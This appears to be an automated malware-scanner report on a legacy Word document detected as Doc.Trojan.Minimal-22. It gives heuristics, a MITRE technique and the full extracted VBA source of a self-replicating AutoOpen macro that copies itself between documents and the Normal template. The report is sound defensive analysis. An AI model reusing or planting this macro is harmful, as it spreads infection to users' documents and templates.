MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a legacy Word document containing a VBA macro named 'autoopen'. This macro attempts to copy itself to the Normal template, which is a common persistence technique. The presence of the AutoOpen macro and the legacy WordBasic marker strongly suggests malicious intent, likely to establish a foothold for subsequent malicious activity.
Heuristics 4
-
ClamAV: Doc.Trojan.Minimal-22 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Minimal-22
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 897 bytes |
SHA-256: 6c89d9371f6e00c7c14cc3aa65ad230cd8cea314e3a6a2c1c613f13a4feb486d |
|||
|
Detection
ClamAV:
Doc.Trojan.Minimal-22
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "autoopen"
'
' Vesselin Bontchev
'
Function CopyMac(src, Tgt) As Long
On Error GoTo EndCopyMac
Application.OrganizerCopy _
Source:=src, _
Destination:=Tgt, _
Name:="AutoOpen", _
Object:=wdOrganizerObjectProjectItems
EndCopyMac:
CopyMac = Err.Number
On Error GoTo 0
End Function
Sub MAIN()
doc$ = ActiveDocument.FullName
gen$ = NormalTemplate.FullName
ret = CopyMac(doc$, gen$)
If (ret = 5940) Then
ret = CopyMac(gen$, doc$)
If (ret = 0) Then
ActiveDocument.SaveAs _
FileName:=doc$, _
FileFormat:=wdFormatTemplate
End If
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.